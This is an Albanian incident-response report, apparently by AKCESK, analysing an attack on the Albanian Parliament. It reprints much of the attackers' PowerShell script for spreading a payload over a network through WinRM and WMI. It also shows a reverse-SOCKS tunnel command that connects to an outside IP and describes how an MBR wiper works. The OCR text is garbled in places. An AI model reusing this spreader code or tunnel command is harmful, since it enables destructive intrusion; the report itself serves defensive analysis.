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Raporti éshté hartuar pér té dokumentuar dhe analizuar sulmin kibernetik ndaj infrastrukturave té
informacionit. Pérmbajtja e kétij raporti bazohet né informacionet e disponueshém deri né datén e
pérfundimit té analizés.

Pércjellja e kétij raporti ka pér géllim informimin dhe ndérgjegjésimin e paléve té interesuara mbi
incidentin kibernetik t& dokumentuar. Raporti nuk duhet trajtuar si pérfundimtar deri né pérditésimin
final té tij.

Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:
Burimet e informacionit: Raporti éshté bazuar né informacionet e véna né dispozicion né momentin e
pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet aktuale.

Faza e dyté:
Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té incidentit mund té mos jené
analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime té raportit.

Faza e treté:

Analiza e kufizuar: Pér shkak té natyrés komplekse té sulmit kibernetik, analiza mund té jeté e kufizuar
né disa aspekte. Interpretimi i ngjarjes éshté subjektiv dhe mund té ndikohet nga mungesa e disa té
dhénave kyce.

Faza e katért:

Siguria e informacionit: Pér t& mbrojtur burimet dhe informacionet konfidenciale, disa detaje mund té
jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur integritetin dhe
siguriné e té dhénave té pérdorura.

AKCESK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar ¢farédo pjesé té kétij raporti
pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar (nxjerrja e detajeve hyrése té aktoréve keqdashés do ju
vihet né dispozicion né njé moment té dyté).

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés. Nuk ka
garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té raportuara gjaté
periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e gabuar ose pasojat e
ndonjé vendimmarrjeje té bazuar né kété raport.
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Ekipi i AKCESK sapo u vendos né dijeni rreth incidentit t¢ ndodhur prané Kuvendit té Republikés sé
Shqipérisé, angazhoi Ekipin teknik pér té béré té mundur dhe rimékémbjen e infrastrukturés sé sulmuar.
U dhané menjéheré rekomandimet pér té béré té mundur bllokimin dhe reagimin ndaj sulmit té€ ndodhur,
duke ju dhéné si rekomandim bllokimin e menjéhershém té shérbimeve né ményré gé té béhet njé analizé
paraprake e situatés dhe eleminimin e rrezikut.

Informacione Teknike
Nga analiza e kryer mbi sjelljen e sulmit u evidentuan kéto skedaré keqdashés:

e local.exe, 1l.exe, p.psl, staging.exe, NACL.exe

Figura 1: Skedarét keqdashés

Skedarét e méposhtém u evidentuan nén njé direktori té eméruar “tools”. Ky folder gjendet né
direktoriné TEMP né diskun: Localdisk (C:)

Name Date modified Type Size

£ lexe 12/16/2023 1:32 PM Application 966 KB
local.exe 10/20/2023 8:09 PM Application 89 KB
staging.exe 12/20/2023 2:18 PM Application 13,941 KB

Figura 2: Skedarét e gjendur né direktoriné e tools

Ndérsa skedarét NACL.exe dhe p.psl u evidentuan né direktoriné C:\Users\Public
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> ThisPC > Local Disk (C:) > Users > Public > v | O
Name Date modified Type Size
5
Public Documents 11/3/2023 File folde
Public Downloads 12/7/20 File folder
i Public Music 12/7 File folde
° Public Pictures 12/7/ File folde
Public Videos 12/7/2( File folde
NACLexe 12/25/2023 9:52 PN Applicatic 221 KB
4 p.psi 12/25/2023 10:44 PM Windows PowerSh... 10 KB

Figura 3:Skedarét e gjendur né C:\Users\Public.

Pér zbulimin e pérdoruseve lokal né njé server ose domain aktorét keqdashés kané pérdorur skedarin
local.exe. Ky skedar ekzekutohet pérmes ndérfages CMD népérmjet komandave:

woadministratorilwbDesktop>local - exe
Display members of local groups on remobte s rweaers or domains.
LOCAL group_name domadin_mname

The nmname = rr ist the members of.
The nmname o
The nmname

Examples :
Locs Power Users™
r the member = U= ~s " din the EastCoast domain.

ministrator ¥
the members er = on server BLACKCAT .

Mames that include a < ~acters must be e osed in double guotes.
To list = w use Global . Exe.
To get the Serwver a giwve Domain use GetDC.Exe.

C:%WUsershAdministratori\Desktop>local.exe "Power Us
ers

"Power Us group not found.

C:WWsershAdministrator\Desktop>local.exe "Adminis
Administrator

Enterprise Admins

Domain Admins

poc-3

Figura 5: Kérkimi pér pérdorues té sistemit ( lokal apo domain ).
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Analiza e skedarit “1.exe”

Njé mjet i pérdorur éshté skedari legjitim plink i quajtur 1.exe.

- Property Value
1 ™ File: 1.exe 7
@ Dos Header File Name C:\Users\flare\Desktop\tools\1.exe
=l Nt Headers File Type Portable Executable 64
:]" g':b::;d:;a e File Info Microsoft Visual C++ 8.0 (DLL)
2] Data Directories [x] File Size 965.80 KB (988976 bytes)
— (3 Section Headers k] PE Size 944.00 KB (966656 bytes)
— ) Import Directory
— |2 Resource Directory Created Tuesday 26 December 2023, 14.26.06
— (L Exception Directory Modified Saturday 16 December 2023, 13.32.58
— |2) Relocation Directory
— 4, Address Converter Accessed Thursday 28 December 2023, 12.15.29
— ) Dependency Walker MD5 DEAED4F96276C3EBSCEF712E519F3506
— ¥, Hex Editor
— @, Identifier SHA-1 4E265736EAA201E270D851074878DFAG0259E806
— A, Import Adder ‘
— %, Quick Disassembler
— dder Property IValue
—_ ‘ﬁ’ Resource Editor CompanyName Simon Tatham
ProductName PuTTY suite
FileDescription |Command-line SSH, Telnet, and Rlogin client
InternalName Plink
OriginalFilename Plink
FileVersion Release 0.79
ProductVersion Release 0.79

Figura 6: Detaje té skedarit 1.exe

Nga analiza e kryer evidentohet se né kété skedar éshté vendosur Plink | programit PUTTY [program
emulator terminali pa pagesé dhe me burim té hapur] ku kryen veprime SSH, Telnet dhe Rlogin né
distancé. Aktorét keqdashés kané pérdorur kété skedar pér té aksesuar pérmes command line pajisje té
tjera té evidentuara né rrjet.
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Capability MNamespace

(4 matches) anti-analysis/anti-debugging/debugger-detection
collection/credit-card
communication/c2/shell

(2 matches) communication/named-pipe/connect
data-manipulation/encoding/basebd
data-manipulation/encoding/basebd

(98 matches) data-manipulation/encoding/xor
(3 matches) data-manipulation/encryption/aes
(10 matches) | data-manipulation/encryption/aes
data-manipulation/encryption/blowfish
(2 matches) data-manipulation/encryption/rcé
(2 matches) data-manipulation/encryption/rc4
data-manipulation/hashing/murmur
data-manipulation/hashing/shal
data-manipulation/hashing/shal
data-manipulation/hashing/sha256
data-manipulation/hashing/sha256
(3 matches) data-manipulation/hashing/sha512
data-manipulation/hmac
executable/pe/debug
(3 matches) host-interaction/environment-variable
(2 matches) host-interaction/environment-variable
(3 matches) host-interaction/file-system
host-interaction/file-system/delete
host-interaction/file-system/exists
(2 matches) host-interaction/file-system/files/list
(17 matches) host-interaction/file-system/read
(6 matches) host-interaction/file-system/write
(4 matches) host-interaction/gui/window/find
host-interaction/hardware/memory
host-interaction/mutex
host-interaction/process/create
host-interaction/process/terminate
host-interaction/registry
(5 matches) host-interaction/registry
host-interaction/registry/create
(2 matches) host-interaction/session
host-interaction/sid
(2 matches) host-interaction/thread/create
(3 matches) linking/runtime-linking
(4 matches) load-code/pe
(3 matches) load-code/pe

Figura 7: Aftésia cfaré ky skedar mund té béjé
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Figura 8: Funksione komandash té skedarit 1.exe

Pas skanimit té ploté né rrjet, sulmuesit krijojné njé skedar té quajtur hosts.txt ku vendosin té gjithé
emrat e hosteve apo kompjuterave ku do té tentohet sulmi.( [computer-name].[domain] ). Né
ményré qé té shpérndahen né rrjet skedarét keqdashés, u kryen komandat si mé poshté vijon:
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licrosoft Windows [Version 1©.©.17763.5206]
c 2018 Microsoft Corporation. All rights reserved.

: \WINDOWS\system :\Users\Public

\Public>powershell -exec bypass
PowersShell
right (C) Microsoft Corporation. All rights

:\Users\Public> .\p.ps1

Figura 9: Komanda e shpérndarjes né rrjet t€ malware NACL.exe

Analiza e skedarit “p.ps1”

Skedari p.psl éshté njé script i shkruajtur né PowerShell ku kryhen veprime mbi nisjen e disa
parametrave gé kalojné si argumenta né momentin qé scripti ekzekutohet.

E

File Edit View Tools Debug Add-ons Help

H & D N » B = 8B oo ;.
p.ps1 X

1 Eparam (

wnN

= (Mandatory=strue)]
r sFile,

&

El [string]$Argument=$ 1,
10 L (Mandatory=s$false)]
11 [string]s$action = "copy",
12 L - Mandatory=$false)]
13 [string]$mode = "normal”,
14 L - (Mandatory=s5ftalse)]
15 [string]$userName = Snull,
16 L (Mandatory=sfalse)]
17 [string]$Password = Snull
18 )

Figura 10: Parametrat e skedarit p.psl

e Funksioni TestConnection :
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function TestConnection
= param(
[Parameter(Mandatory=3%true)]
[str1ng]5cowputerwame

if (Test-Connection -ComputerName $computerMame -Count 1 -Quiet)

return $true
Write-output "testconnection

1

else
= 1l

return ffalse

Figura 11: Parametrat e funksionit TestConnection

Ky funksion ka pér géllim té testojé lidhjen midis njé kompjuteri té specifikuar (té identifikuar nga
parametri $computerName) dhe kthen njé vleré True ose False né rast se lidhja éshté e suksesshme ose
jo.

e Funksioni TestWSManEnabled

17

k8  function TestwsManknabled

ho ={

50 & param (

51 [Parameter(Mandatory=$true)]

52 [string]$ComputerName,

53 [string]$Username,

54 [Parameter (Mandatory $false)]

55 [string]$Password

56

57 [ if ($Username -and $Password) {

58

59

60 $securePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
1 Scredential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList SUsername, $securePassword
b2 ) $result = Test-WSMan -ComputerName $ComputerMame -Authentication Kerberos -Credential $credential -ErrorAction SilentlyContinue
63

b4 = else {

65 $result = Test-wSMan -ComputerName $ComputerName -ErrorAction SilentlyContinue
66

67

b8

69

7o = if (Sresult) {

71

2 return §$true

F3 1 else {

74

75 return ffalse

76

r7 3

Figura 12: Parametrat e funksionit TestWSManEnabled

Ky funksion merr 3 parametra :
e Emrin e kompjuterit né variablin $ComputerName .
e Variabli $Username specifikon pérdoruesin pér autentikim .
e Variablin $Password pér autentikimin e passwordit .

Nése parametrat $Username dhe $Password do specifikohen funksioni tenton té krijojé njé objekt
PSCredential me kredencialet e vendosura. Mé pas né rrjeshtin Test-WSMan tenton té zbulojé nése
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“(Windows Remote Management) WIinRM "/mjet i pérdorur pér menaxhimin e serviseve té
sistemeve né distancé] éshté né puné si servis duke pérdorur autentikimin Kerberos me kredencialet
e vendosura. Nése as $Username dhe as $Password nuk jane vendosur atéheré funksioni teston
WSMan pa kredenciale, dhe kthen vlerén true ose false né varési té rezultatit té testimit .

e Funksioni TryToEnableWinRM

/9 function TryToEnablewinRM

BO HI{

Bl param(ScomputerName, $Password, $UserName)

i

B3

B4 {SecurePassword = ConvertTo-SecureString $Password -AsPlainText -Force

RS SCredentials = New-Object System.Management.Automation.PSCredential (§Username, $SecurePassword) -Erroraction SilentlyContinue -ErrorVariable Crederror .

B6 {result = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe Set-ItemProperty -Path 'HKLM:\SYSTEM‘\CurrentControlSet\services\WinRM' -N3

B7 if(Sresult)
B9 return $true
else

return $false

Figura 13: Parametrat e funksionit TryToEnableWinRM

Funksioni merr si parametra 3 variabla:

e $computerName => Specifikon emrin e kompjuterit né distancé,

e $Password => passwordi pér autentikim,

e 3$UserName => pérdoruesi pér autentikim.
Funksioni tenton té krijojé njé objekt PSCredential duke pérdorur $Username dhe $Password.
-ErrorAction SilentlyContinue pérdoret pér té kaluar erroret gjat krijimit té kredencialeve dhe
erroreve té ruajtura né variablin $Crederror.
Invoke-WmiMethod pérdoret pér té krijuar njé proces né kompjuterin né distancé gé ekzekuton
komandén né nivelin administrator t&¢ PowerShell-it. Komanda e PowerShellit vendos regjistra pér
té konfiguruar WinRM pér té nisur autmatikisht, si dhe starton servisin WinRM ku mé pas aktivizon
Powershell Remoting. Rezultati gé kthen éshté njé vleré booleane [vleré true ose false] né varési
té rezultatit.

e Funksioni CreateSession
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97  function CreateSession

98 ={

99 = param(
[Parameter (Mandatory=5true)]$Remotecomputer ,

01 SUsername = $null,

02 SPassword = $null

03 )

07 if ($username -and $Password)
08 [
09 $SecurePassword = ConvertTo-SecureString $Password -AsPlainText -Force
10 $Credentials = New-Object System.Management.Automation.PSCredential (SUsername, $SecurePassword) -ErrorAction SilentlyContinue -Errorvariable Crederror
11 if(8Crederror.length -gt 0)
{
13 Add-Content -Path $env:Temp)\S$machine.txt -value "[UnSuccess][$machine]:: [Error(CreateSession)] : $Crederror"
14 return $false
17 N $Session = New-PSSession -ComputerName SRemotecomputer -Credential $Credentials -ErrorAction SilentlyContinue -Errorvariable e
19 else

21 $Session = New-PSSession -ComputerName $Remotecomputer -ErrorAction SilentlyContinue -Errorvariable e

27 if($e.length gt 0)

29 Add-Content -Path Senv:Temp'$machine.txt -vValue "[UnSuccess][$machine]:: [Error(CreateSession)] : §e"
30 return $false

33 return $Session

Figura 14: Parametrat e funksionit CreateSession

Funksioni merr si parametra 3 variabla:
e $RemoteComputer => Variabli gé mban vlerén e kompjuterit né distancé.
e 3$Username=> mban vlerén e pérdoruesit.
e $Password => Mban vlerén e passwordit.

Nése $Username dhe $Password jané vendosur, funksioni tenton té krijojé nje objekt PSCredential me
kéto kredenciale. Né rrjeshtin ku kemi Add-Content tentohet té vendoset njé vleré né vendndodhjen e
pércaktuar $env: Temp\$machine.txt me vlerén UnSuccess nése éshté i pasuksesshém. $Machine éshté
emri i kompjuterit.

e Funksioni ActionOnOpenMachine
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138 function ActiononoperMachine

139 =

140

141 £ param(

142 [Farameter (Mandatory=3$true)]

143 [System.Management. Automation. Runspaces. PSsession]
144 §session,

145

146 [Farameter (Mandatory=3$true)]

147 [string]

148 $Sourcepath,

149

150 [Parameter (Mandatory=3true)]

151 [string]

152 $pestPath,

153

154 [Parameter (Mandatory=Strue)]

155 [string]

156 $action = "copy”,

157 [string] $Executableargs

158

159

160 copy-Item -Path $sourcepath -pestination 3pestPath -ToSession $session -Force
161

162

163

164 & if ($action.ToLower() -eq "run™) {

165 sleep 10

166 # Get the filename from the source path
167 $fileName = split-Path $pestPath -Leaf
168

169 # Run the file in the PSsession

170 if ($Executableargs)

171 {

172

173 Invoke-Command -Session 3Session -ScriptBlock { Start-Process $using:DestPath -Argumentlist Susing:Executableargs -NoNewwindow }
174

175 else

176 =

177 Invoke-Command -Session $Session -ScriptBlock { Start-Process Susing:DestPath -Nonewwindow }
178

179

180

181

2o

Figura 15: Parametrat e funksionit ActionOnOpenMachine

Parametrat e funksionit :

$Session => Specifikon sessionin e lidhjes né distancé té hapur né powershell né kompjuterin
e hapur.

$SourcePath => Specifikon pathin e skedarit hyrés.

$DestPath => Specifikon destinacionin e pathit té file né kompjuterin né distance.

$Action => Specifikon veprimin gé do performohet né makinén né distancé. Vlera e pércaktuar
éshté copy.

$ExecutableArgs => Specifikon argumentat e kaluar kur ekzekutohet njé skedar i
ekzekutueshém

Copy-Item shérben pér té kopjuar skedaré nga burimi te destinacioni népérmjet $Session. Gjithashtu
pérdor Invoke-Command pér té ekzekutuar njé skedar té ekzekutueshém népermjet “Start-Process” .
Né fund té procesit del nga lidhja remote nga PowerShell.

Funksioni Run-parallel
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function Run-parallel
param(Smachine, SUserName, $Password, §$SourcePath, SDestPath, $action, $Argument, $Tlag)
tinitialsessionstate = [Initialsessionstate]::Createdefault()|

$CreatesessionF = Get-Content Function:\CreateSession -Erroraction Stop

$addcreatesession = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList 'CreateSession', $CreateSessionF
finitialsessionState.Commands. Add($addCreateSession)

§TryToEnablewinRMF = Get-Content Function:\TryToEnablewinRM -ErrorAction Stop

$addTryToEnablewinRM = New-Object System.Management.Automation.Runspaces.SessionstateFunctionEntry -ArgumentList 'TryToEnablewinRM', STryToEnablewinRMF
$initialsessionstate.Commands. Add($addTryToEnab] ewinM)

$AactionOnOpenMachineF = Get-Content Function:‘\ActionOnOperMachine -ErroraAction Stop

faddActiononOpendMachine = New-Object System.Management.Automation.Runspaces.SessjonstateFunctionEntry -ArgumentList 'ActionOnOperMachine', $ActionOnOpenMachiner
$initialsessionstate.Commands.Add($addActiononOperMaching)

fnewRunspace = [runspacefactory]::CreateRunspace($initialSessionstate)
$nenfunspace. Threadoptions = "ReuseThread”

fnenRunspace. dpen()

$newPowershell = [Powershell]::Create()

$newPowershell. Addscript({

param($machine, $SUserName, $Password, $SourcePath, $DestPath, $action, $Argument, $flag)
write-output "action -> $machine”

if (§f1ag)
1

fsuccess = TryToEnableWinRM -computerName 3machine -Password $Password -UserName SUserName

start-Sleep 10
§session = CreateSession -Remotecomputer $machine -Username SUserName -Password SPassword

Add-Content -Path $env:Temp'$machine.txt -value "[Info][$machine]:: wirRm Enabled on with wmi"
if (§session)

1 1
ActionOnOperMachine -Session $session -SourcePath $SourcePath -DestPath $DestPath -Action $action -ExecutableArgs $Argument
Write-output "End action -» $machine”
Add-Content -Path Senv:Temp\$machine.txt -value "[Success][$machine]:: Action Done"
¥

1) . Addargument (Smachine). Addargument (SUserName) . Addargument (SPassword) . AddArgument (SSourcePath) . AddArgument ($DestPath) . AddArgument($action). AddArgument ($Argument) . AddArgument ($F1ag)
$newPowershell.Runspace = SnewRunspace

fnewPowershell.BeginInvoke()

Write-Host "Run with Dc Admin ..."

=iGet-Content $TargetsFile | Foreach-Object {
$machine = S_.Trim{)
SPowerState = TestConnection -computerName Smachine
if($Powerstate)
i

Add-Content -Path Senv:Temp\Smachine.txt -Value "[Infol:: S$machine is on”

jwsmanstate = TestwsManenabled -ComputerName $machine -username suserName -Password SPassword
if (Swsmanstate -eq Strue)
Add-Content -Path $env:Temp\$machine.txt -value "[Info][Smachine]:: wimRm is on"

Run-parallel -machine Smachine -UserName SUserName -Password SPassword -SourcePath $SourcePath -DestPath SDestPath -action Saction -Argument SArgument -flag $false
Add-Content -Path fenv:Temp\$machine.txt -value "[Success][$machine]:: Action Done"

¥

else
Add-Content -Path Senv:Temp\$machine.txt -Value "[Infol [Smachine]:: wirkm is off”
$mode = "force"
if (Smode.ToLower() -eq "force" )
1

Run-parallel -machine smachine -userName SuserName -Password $Password -SourcePath $sourcePath -DestPath jDestPath -action $action -Argument $argument -flag Strue

1

¥

else
Add-Content -Path $env:Temp\Smachine.txt -Value "[UnSuccess] [$machine] :: state is offline"

# powershell -exec bypass -file .\Pusher.psi -TargetsFile "C:\Users\administrator\Desktop\Hosts.txt" -SourcePath "C:\Users\administrator\Downloads\7za.exe" -DestPath "$env:public\name.exe" -action "run" -mode "force" -UserName "admir

# powershell -exec bypass -file .\Pusher.psl -TargetsFile "C:\Users\public\Hosts.txt" -SourcePath "C:\Users\public\NACL.exe" -DestPath "Senv:public\NACL.exe" -action "run" -mode "force”

#-UserName "administrator@lab.local” -Password "Aa123456"
# i
#1
# slegp 60

¥

hile ($true)

Figura 16: Parametrat e funksionit Run-Parallel

Ky funksion éshté krijuar pér té kryer veprime té ndryshme né kompjutera té ndryshém ,paralelisht duke
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pérdorur PowerShell remoting.
Parametrat e funksionit :
e $machine => emri i kompjuterit né distancé,
e $Username =>emri i pérdoruesit pér autentikim,
o $Password => Passwordi pér autentikim,
e $SourcePath => Pathi i burimit,
e $DestPath => Pathi i destinacionit,
e S$action => Veprimi gé do kryhet,
e $arg => Argumentat e specifikuar,
e $flag => Vlera gé vjen si parametér.

Funksioni "Run-parallel” né keté rast ekzekuton né menyré paralele népérmjet WinRM, nga ku
evidentohet se  pérdor  funksionet  "CreateSession™,  "TryToEnableWinRM",  dhe
"ActionOnOpenMachine" pér té lidhur, aktivizuar WinRM, dhe kryer veprime té ndryshme né makinat
remote. Pjesa e komentuar e powershellit me simbolin # tregon menyrén se si ky funksion ekzekutohet.

Kodi PowerShell merr njé skedar gé pérfshin njé listé objektivash (emrat e hosteve ose IP), njé
“path” drejt njé ekzekutuesi pér t'u aksesuar, njé path destinacioni pér té ruajtur skedarin dhe
njé pérdorues e njé fjalékalim.

Mé pas pérséritet mbi listén e objektivave dhe pérpiget té lidhet me ta me “(Windows Remote
Management) WinRM”[mjet i pérdorur pér menaxhimin e serviseve té sistemeve né distancé] duke
pérdorur kredencialet qé ka marré si parametér (ose me pérdoruesin aktual nése nuk jané
specifikuar kredencialet).

Nése WIinRM é&shté i paarritshém, skripti pérpiqet ta aktivizojé até duke pérdorur “(Windows
Management Instrumentation) WMI” [teknologji thelbésore e menaxhimit té Windows qé lejon
ekzekutimin e skripteve] né distancé. Nése ka sukses ose WinRM éshté tashmé i hapur, ai pérdor
WIinRM pér té kopjuar skedarin gqé mori si hyrje né “pathin” e specifikuar dhe ta ekzekutojé até.

Né komentet e skriptit, mund té shohim se sulmuesi fillimisht u pérpoq ta ekzekutonte até me
pérdoruesin "administrator@lab.local™ dhe fjalékalimin ""Aal23456", por ndoshta éshté béré
vetém pér testim.

Analiza e skedarit “staging.exe”

Mjeti tjetér i pérdorur éshté staging.exe. Mjet i cili nga analizimet rezulton té jeté pérdorur pér té krijuar
tunele né rrjet (tcp ose dns). Né figurén mé poshté shihen parametrat té cilat merr skedari i
ekzekutueshém staging.exe.
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(default

i automatically obtain

:port
debug info

to use for

"127.6.0.1:1080")

Figura 17: Funksionimi i skedarit staging.exe

Binaret e krijuara nga ekzekutimi i skedaréve éshté shumé i véshtiré pér tu analizuar pasi jané shkruajtur
né gjuhén Golang. Megjithaté ajo cfaré kuptohet éshté pérdorimi i librarive nga Github. Shihet gé
skedari staging.exe, pérmban mé tepér se 20 repository té Github pér té shmangur déshtimin e krijimit
té tunelit.
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File name

C:\Users\analyse\Desktop'\tools\staging.exe

File type File size
13.61 MiB
Endiannes Architecture Type

= AMDE4 Console

Compiler; Go(1.15.0-X X X)
Figura 18: Detaje té staging.exe

ﬁhslring Search - 3392 items (of 35680) - [staging.exe, Minimum size = 5, Align = 1] |H | % E’E ‘ T ‘ 6 | E
Location Label Code Unit =Y String View Str... Length Is W...
008b0aes 20h " github.com/golang/protobuf/proto” string
008b2fco g ithub.com/kostf/chashellflib/protocol™ string
008b2656 22 26h & ‘&github.com/kost/chashell/lib/transport” string

-4, 00adcdib 22 43h c "C:fUsers/test{go/pkg/mod/github.com/armon/go-socks5@wv0.0.0-20160902184237-e75332964ef5/auth.go” string

-4, 00aded7a 22 43h c "C:/Users/test/go/pka/mod/github.com/armon/go-socks S@wv0.0.0-20160002184237-275332064ef5/request.go” string

-4, 00adcddc 22 43h c "C:fUsers/test/go/pkg/mod/github.com/armon/go-socks5@w0.0.0-20160902184237-e75332964ef5/resolver.go” string

~4, ODadce3f 2?2 43h c "C:/Usersftest{go/pka/mod/github.com/armon/go-socks5@v0.0.0-20160002184237-e75332964ef5/ruleset.go” string

-4, 0O0adceal 22 43h c "C:fUsers/test/go/pkg/mod/github.com/armon/go-socks5@w0.0.0-20160902184237-e75332964ef5/socks5.g0" string

~4, 00adcfoz 2?2 43h c "C:/Usersftest{go/pka/mod/github.com/hashicorpfyamux@v0.1.1/addr.go" string

~L, 00adcfa5 22 43h c "C:fUsers/test/go/pkg/mod/github.com/hashicorpfyamux@v0.1.1/const.go" string

-4, 00adcf89 2?2 43h c "C:/Usersftest{go/pka/mod/github.com/hashicorp/yamux@v0.1.1/mux.go” string

~4, ODadcfch 22 43h c "C: fUsers/test/go/pka/mod/agithub.com/hashicorpfyamux@v0.1.1/session.go” string

~4, 00addoil1l 22 43h c “C:fUsers/test{go/pkg/mod/github.com/hashicorpfyamux@v0.1.1 util.go” string

-4, 00addo54 2?2 43h c "C:fUsers/testfgo/pka/mod/github.com/hashicorpfyamux@v0.1.1/stream.go” sfring

-4, 00adel5d 22 43h C “C:fUsers/test{go/pkg/mod/github.com/kost/go-ntimssp@v0.0.0-20190601005913-a22bdd33b2a4/authenticate. .. string

-4, 00adelcc 2?2 43h c "C:fUsers/test/go/pka/mod/github. com/kost/go-nimssp@v0.0.0-20190601005913-322bdd33b2a4/negotiate_flags.go” siring

-4, 00ade236 29 43h c “C:fUsers/tast{go/pkg/mod/github.com/kost/go-ntimssp@v0.0.0-20190601005913-a22bdd33b234/messagehe... string

-4, 0O0ade29e 2?2 43h c "C:/Users/test/go/pka/mod/github. com/kost/go-ntimssp@v0.0.0-20190601005913-322bdd33b2a4/varfield.qo” string

-4, 00ade301 22 43h c "C:fUsers/test{go/pkg/mod/github.com/kost/go-ntimssp@v0.0.0-20190601005%913-a22bdd33b2a4/nlmp.go” string

-4, 00Dade360 2?2 43h c "C:/Users/test/go/pka/mod/github. com/kost/go-ntimssp@v0.0.0-20190601005913-322bdd33b2a4/challenge_... string

-4, 00ade3cc 22 43h c "C:fUsers/test/go/pkg/mod/github.com/kost/go-ntimssp@v0.0.0-20190601005913-a22bdd33b2a4/negotiate_m... string

~4, 00ade438 2?2 43h c "C:/Usersftest{go/pka/mod/github.com/kost/ go-ntimssp@wv0.0.0-20190601005913-a22bdd33b2a4/version.go” string

~L, 00ade4%93 22 43h c "C:/Users/test/go/pkg/mod/github.com/kost/go-ntimssp@v0 20190601005913-322bdd33b2a4/unicode.go” string
~L, 00zel463 2?2 43h c "C:/Usersftest/go/pka/mod/github.com/golang/protobuf@wvl.5.3/proto/deprecated.go” string
~L, 00ae04b2 22 43h c "C:fUsers/test/go/pkg/mod/github.com/golang/protobuf@v1.5.3/proto/proto.go” string

—L, 0O0aeldfc 2?2 43h fod "C:/Users/test/go/pka/mod/github.com/golang/protobuf@wvl.5.3/proto/discard.go” string

Figura 19: Detaje té staging.exe

Nga kérkimi mes kétyre repository-ve, u arrit né pérfundimin se skedari i ekzekutueshém i pérdorur
ekzekuton né gjuhén Golang, skriptet gé i pérkasin kétij repository: hxxps://github.com/kost/revsocks
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revsocks

Reverse socks5 tunneler with SSL/TLS and proxy support (without proxy authentication and with basic/NTLM proxy
authentication) Based on and

Features

Single executable (thanks to Go!)

Linux/Windows/Mac/BSD support

Encrypted communication with TLS

DNS tunneling support (SOCKS5 over DNS)

Support for proxies (without authentication or with basic/NTLM proxy authentication)

Automatic SSL/TLS certificate generation if not specified

Figura 20: Informacione té revsocks.

Karakteristiké e vecanté éshté gjenerimi i certifikatave SSL/TLS edhe né rastet kur nuk éshté e

specifikuar. Kjo béhet me géllim gé té enkriptojé trafikun. Gjithashtu karakteristiké tjetér éshté krijimi i

tuneleve DNS me proxy pa autentifikim ose me proxy bazuar né autentifikim pérmes protokollit NTLM

(Microsoft Proxy Server).

Nga loget e vendosura né dispozicion, shikohet edhe pérdorimi i mjeti, pér té krijuar tunel mes IP lokale

dhe IP né distancé 45[.]58.36.254 né portén 8443. Duke marré si parametér passwordin <123’
m i I i T i

I (AL

nnect 45.58.36.254:8443 -pass 123 @ 2023-12-25 09:38:

Ran from non-standard path

/temp/staging.exe

-connect 45.58.36.254:8443 -pass 123
23160

21376 (/windows/system32/cmd.exe)
No

NT AUTHORITY/SYSTEM
Figura 21: . Pérdorimi i staging.exe
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Analiza e skedarit detajet e skedarit wiper “NACL.exe”
e Analiza Statike:

Evidentohet se skedari NACL.exe pérdor kompilues né gjuhét e programimit C/C++ dhe né ményré qé
té kuptohet funksionaliteti i saj duhet té béhet procesi i Reverse-Engineering:

i Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) — O X es

File name

C:\Users\flare\Desktop\NACL.exe

File type File size [ ] advanced
220.34 KiB

Scan Endianness Mode Architecture Type

Automatic LE 32-bit 1386 Console

¥ PE32
Compiler: EP:Microsoft Visual C/C++(2017 v.15.5-6)[EXE32]
Compiler: Microsoft Visual CfC++(2019 v.16.10 or 16.11)[-]

Linker: Microsoft Linker{14.29, Visual Studio 2019 16.10 or 16.11*)[Console32,cons...
= QOverlay: Binary
Certificate: WinAuth(2.0)[PKCS #7]

Shortcuts
Options
Signatures | v/ Recursive scan &/ Deep scan || Heuristic scan + Verbose About

: Directory 100% > Log [ ] Al types 150 msec Exit

Figura 22: Lloji i kodit.

Nga verifikimet e kryera té skedarit NACL.exe evidentohet se ky skedar é&shé i shénuar me njé
certifikaté legjitime. Sulmuesit kané vjedhur ¢ertifikata “code-signing” ose e kané bleré duke pérdorur
kompani jo legjitime. Arsyeja e pérdorimit té certifikatés legjitime éshté béré né ményré gé té
anashkalojé sistemet e Antivirus.
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n  Certificate

General petails Certification Path . Details . Previous Versions

s

-1 Certificate Information General  Advanced

This certificate is intended for the following purpose(s): =, Digital Signature Information
* Ensures software came from software publisher #2 | This digital signature is OK.
» Protects software from alteration after publication

Signer information

Name: |Attest Inspection Limited
* Refer to the certification authority's statement for details.

E-mail: [Not available
Issued to: Attest Inspection Limited

Signing time: |Saturday, December 23, 2023 12:59:10 PM

Issued by: SSL.com Code Signing Intermediate CA RSA R1 Vimm B

Valid from 10/2/2023 to 10/1/2024 Countersignatures

Name of sign... E-mail addre... Timestamp

SSL.com Tim... Mot available Saturday, Decem...

Install Certificate... | | Issuer Statement

Details

Figura 23: Informacionet mbi certifikatén e NACL.exe

Ekzekutuesi NACL.exe vepron si njé fshirés i thjeshté i cili éshté i kompiluar si Ptable[.]pdb.
Ptable[.]exe éshté njé skedar i ekzekutueshém malware Trojan i quajtur Trojan.Eraser!8.5759.z

The input file was linked with debug informaticn
and the symbol filename is:
"F:M\LowEraser\LowEraser\Release\Ptable.pdb”

Do you want to lock for this file at the specified path
and the Microsoft Symbol Server?

[] oon't display this message again

Yes Mo

Figura 24: ptable.pdb fshiresi i cili ruhet né diskun F:

Ekzekutuesi NACL.exe dérgon komandén:
IOCTL_DISK_DELETE_DRIVE_LAYOUT duke pérdorur DeviceloControl. Kjo komandé bén té
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mundur fshirjen e nénshkrimit (boot signature) nga MBR, duke rezultuar gé kompjuteri t& mos jeté né
gjendje mé té aksesohet si pasojé e fshirjes sé gjithé diskut.

s =

push
push
push
push
push
push
